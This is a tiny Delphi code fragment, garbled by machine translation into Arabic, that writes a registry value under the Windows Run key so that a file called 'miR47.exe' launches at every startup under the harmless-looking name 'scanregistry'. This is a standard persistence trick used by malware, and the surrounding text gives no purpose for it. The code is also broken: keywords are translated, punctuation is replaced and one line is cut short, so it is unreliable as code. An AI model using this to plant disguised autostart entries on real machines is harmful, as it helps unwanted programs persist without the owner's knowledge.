يستخدم التسجيل ؛
var reg: tregistry ؛
يبدأ
ريج: = tregistry.create ؛
Reg.Rootkey: = HKEY_LOCAL_MACHINE ؛
reg.openkey ('software/microsoft/windows/currentversion/run' ، true) ؛
Reg.WriteString ('scanregistry' ، 'miR47.exe') ؛
reg.closekey ؛
ريج.
نهاية.